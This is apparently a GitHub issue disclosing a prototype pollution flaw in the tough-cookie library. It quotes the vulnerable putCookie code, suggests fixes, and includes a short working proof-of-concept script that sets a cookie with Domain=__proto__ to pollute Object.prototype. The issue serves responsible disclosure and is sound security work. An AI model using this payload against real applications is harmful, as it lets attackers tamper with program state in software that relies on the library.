-
Notifications
You must be signed in to change notification settings - Fork 296
Description
Overview
While researching a commercial product, I came across a vulnerability in their infrastructure caused by your library
Vulnerability occurs if you use CookieJar in rejectPublicSuffixes=false
mode.
You can do Prototype Pollution when pass Domain=__proto__
It comes from this point in the code:
this.idx = {};
...........
putCookie(cookie, cb) {
if (!this.idx[cookie.domain]) {
this.idx[cookie.domain] = {};
}
if (!this.idx[cookie.domain][cookie.path]) {
this.idx[cookie.domain][cookie.path] = {};
}
this.idx[cookie.domain][cookie.path][cookie.key] = cookie;
cb(null);
}
As you can see, this.idx - Object
If cookie.domain equals to __proto__
then you override global object prototype.
It seems to me that this is clearly non-obvious behavior. It also carries certain risks.
Fix
To fix this, you need to store cookies in Map, or you can use this.idx = Object.create(null);
to create idx variable
PoC
To reproduce vulnerability, node PoC.js
, you will see the printed string Cookie="Slonser=polluted; Domain=__proto__; Path=/notauth; hostOnly=false; aAge=1117ms; cAge=1117ms"
in the terminal
But as you can see, script didn't set ["/notauth"]["Slonser"]
property by it self.
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();